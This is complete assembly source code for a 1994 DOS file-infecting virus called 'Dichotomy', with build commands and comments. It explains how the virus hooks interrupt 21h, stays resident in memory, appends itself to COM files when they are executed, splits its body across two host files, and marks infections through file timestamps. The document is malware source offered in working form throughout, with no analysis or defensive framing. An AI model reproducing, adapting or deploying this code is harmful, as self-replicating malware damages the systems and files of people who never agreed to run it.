; Dichotomy Virus ; (c) 1994 Evil Avatar ; ; TASM /M3 DIKOTOMY ; TLINK /X DIKOTOMY ; EXE2BIN DIKOTOMY DIKOTOMY.COM .model tiny .code org 0 ;=====( Entry point for COM files )======================================== Dichotomy: call delta delta: mov bx, sp mov bp, word ptr ds:[bx] sub bp, offset delta ;get delta offset inc sp inc sp cmp word ptr ds:[bp+virus1], 'D[' mov ah, 1ah lea dx, [bp+newDTA] ;buffer for new DTA int 21h ;set new disk transfer address mov ah, 4eh mov cx, 7 ;any attribute lea dx, [bp+FileName] ;host name int 21h ;find second host file jc maybe_host ;if carry, then we need a new host mov ax, 3d00h int 21h ;open second host xchg ax, bx ;handle is better in bx mov ax, 4200h sub cx, cx mov dx, word ptr ds:[bp+newDTA+1ah] sub dx, (offset heap-offset loader2) int 21h ;move pointer to virus code mov ah, 3fh mov cx, (offset heap-offset loader2) lea dx, [bp+loader2] int 21h ;read in second part of virus mov ah, 3eh int 21h ;close the file maybe_host: mov ah, 51h int 21h ;check if resident inc bx ;if resident, PSP should be -1 jz resident ;yes? kewl! cmp word ptr ds:[bp+virus1], 'D[' ;check if we are fully here je go_res ;yes? we need to go resident return: mov ah, 1ah mov dx, 80h int 21h ;restore DTA lea si, [bp+comfix] ;offset of first 3 bytes of file mov di, 100h ;start of .com file mov ax, di push ax movsw movsb retn resident: cmp word ptr ds:[bp+virus1], 'D[' ;is the second host here? je return ;yes? return to program mov ah, 62h int 21h ;request new host jmp return ;return to host go_res: jmp loader2 ;go memory resident ;=====( Variables )======================================================== comfix db 0cdh, 20h, 0 ;first 3 bytes of .com file virus db '[Dichotomy]', 0 ;virus name author db '(c) 1994 Evil Avatar', 0 ;me FileName db 'DIKOTOMY.COM', 0, 73h dup (?) ;second host name loader1_end: ;=====( Go memory resident )=============================================== loader2: mov byte ptr ds:[bp+count], 0 ;infections = 0 mov ah, 'E' xor ah, 0fh mov bx, -1 int 21h ;get available memory mov ah, 'A' xor ah, 0bh sub bx, (virus_end-Dichotomy+15)/16+1 int 21h ;create a hole in memory mov ax, 3521h int 21h ;get int 21h handler mov word ptr [bp+save21], bx mov word ptr [bp+save21+2], es ;save int 21h vector mov ah, 'E' xor ah, 0dh mov bx, (virus_end-Dichotomy+15)/16 int 21h ;allocate the memory mov es, ax ;es is high virus segment mov cx, (virus_end-Dichotomy+1)/2 lea si, [bp+Dichotomy] sub di, di rep movsw ;copy ourself up there push es pop ds ;save virus seg for int 21h change dec ax ;MCB segment mov es, ax mov word ptr es:[1], 8 ;make DOS the owner of our segment mov ax, 4541h sub ax, 2020h lea dx, [int21] int 21h ;set new int 21h handler push cs cs pop ds es ;restore PSP segments jmp return ;return to host ;=====( Find a new host )================================================== request: push ds di si cx cs pop ds ;save registers mov di, bp ;set up scan registers sub si, si mov cx, 5 repe cmpsw ;scan to see if it is us jne restore1 ;no? let dos take care of it mov ax, 4300h lea dx, [WhatRun] int 21h ;get attributes of file push cx ;save them mov ax, 4301h sub cx, cx int 21h ;clear attributes mov ax, 3d02h int 21h ;open file read/write xchg ax, bx mov ax, 5700h int 21h ;get file date/time and cx, 1fh ;get seconds cmp cx, 1fh ;is it 62? je cant_fix ;can't fix this file mov ax, 4202h sub cx, cx cwd int 21h ;go to end of file mov ah, 40h mov cx, (heap-loader2) lea dx, [loader2] int 21h ;copy to end of file mov ax, 5700h int 21h ;get file date/time or cx, 1fh mov ax, 5701h int 21h cant_fix: mov ax, 4301h pop cx ;get attributes int 21h ;restore attributes mov ah, 3eh int 21h ;close file restore1: pop cx si di ds ;restore registers jmp dos21 ;go to dos ;=====( Interrupt 21h handler )============================================ int21: inc ah cmp ah, 4ch ;execute file je infect ;infect it dec ah cmp ah, 51h ;install check je install_check cmp ah, 62h ;request for new host je _request dos21: jmp dword ptr cs:[save21] ;call dos _request: jmp request ;=====( Installation check )=============================================== install_check: push di si cx ds cs pop ds ;save registers mov di, bp ;set up scan registers sub si, si mov cx, 5 repe cmpsw ;scan to see if it is us jne restore ;no? let dos take care of it mov bx, -1 ;return code pop ds ;restore ds add sp, 6 ;fix stack iret ;return restore: pop cx si di ds ;restore registers jmp dos21 ;go to dos ;=====( Infection routine )================================================ infect: dec ah call push_all ;save registers push cs pop es ;es equals code segment mov si, dx lea di, [WhatRun] mov cx, 40h rep movsw ;save filename in buffer mov si, dx ;ds:si equals file name lea di, [FileName] mov ax, 4300h int 21h ;get attributes of file push cx ;save them mov ax, 4301h sub cx, cx int 21h ;clear attributes mov ax, 3d02h int 21h ;open file read/write xchg ax, bx ;put handle in bx mov ax, 5700h int 21h ;get file time/date and cx, 1fh ;get seconds cmp cx, 1eh ;is 60 or 62? jae already_inf ;then already infected lodsb ;get drive letter dec si ;point to filename again and al, 5fh ;make it uppercase cmp al, 'C' ;is it C or higher? jb _single ;no? we must fully infect it cmp byte ptr cs:[count], 1 ;have we already done loader 2? jne do_loader2 ;yes? start doing loader 1s do_loader1: call inf_loader1 jmp done_inf do_loader2: call inf_loader2 jmp done_inf _single: push si di mov cx, 40h rep movsw ;save filename in buffer pop di si call inf_loader1 call inf_loader2 mov byte ptr cs:[count], 0 done_inf: mov ah, 3eh int 21h ;close file already_inf: mov ax, 4301h pop cx ;get attributes int 21h ;restore attributes call pop_all ;restore registers jmp dos21 ;call dos ;=====( Infect file with loader 1 )======================================== inf_loader1: push si di ds dx cs ;save filename and other stuff pop ds mov byte ptr ds:[count], 0 ;do loader 2 from now on mov ah, 3fh mov cx, 3 lea dx, [comfix] int 21h ;read in first 3 bytes mov ax, 4202h sub cx, cx cwd int 21h ;go to end of file or dx, dx jnz bad_file cmp ax, 65024-(virus_end-Dichotomy) ;see if file is too big jae bad_file mov cx, word ptr ds:[comfix] cmp cx, 'M'+'Z' jz bad_file ;can't infect .exe's sub ax, 3 ;calculate jump mov word ptr ds:[buffer], ax ;set up jump mov ah, 40h mov cx, (loader1_end-Dichotomy) cwd int 21h ;copy virus to end of file mov ax, 4200h sub cx, cx cwd int 21h ;go to beginning of file mov ah, 40h mov cx, 3 lea dx, [buffer-1] int 21h ;copy jump to beginning mov ax, 5700h int 21h ;get file time/date mov ax, 5701h or cx, 1eh and cx, 0fffeh ;set to 60 seconds int 21h ;set new file time bad_file: pop dx ds di si retn ;=====( Infect file with loader 2 )======================================== inf_loader2: push ds dx ;save file name mov cx, 40h rep movsw ;save filename in buffer push cs pop ds ;ds needs to be code segment mov byte ptr ds:[count], 1 ;do loader 1 from now on mov ax, 4202h sub cx, cx cwd int 21h ;go to end of file mov ah, 40h mov cx, (heap-loader2) lea dx, [loader2] int 21h ;copy to end of file mov ax, 5700h int 21h ;get file date/time or cx, 1fh ;set to 62 seconds mov ax, 5701h int 21h ;set new file time pop dx ds ;restore file name retn ;return to caller ;=====( Push all registers )=============================================== push_all: pop word ptr cs:[p_all] ;save return code push ax bx cx dx bp si di ds es ;save registers pushf ;save flags jmp word ptr cs:[p_all] ;return to caller ;=====( Pop all registers )================================================ pop_all: pop word ptr cs:[p_all] ;save return code popf ;restore flags pop es ds di si bp dx cx bx ax ;restore registers jmp word ptr cs:[p_all] ;return to caller ;=====( More variables )=================================================== virus1 db '[Dichotomy]', 0 ;virus signature db 0e9h ;jump cs:xxxx heap: buffer dw ? ;jump buffer newDTA db 2bh dup (?) ;replacement disk transfer address save21 dd ? ;interrupt 21h vector p_all dw ? ;push/pop return value count db ? ;infection count WhatRun db 80h dup (?) virus_end: end Dichotomy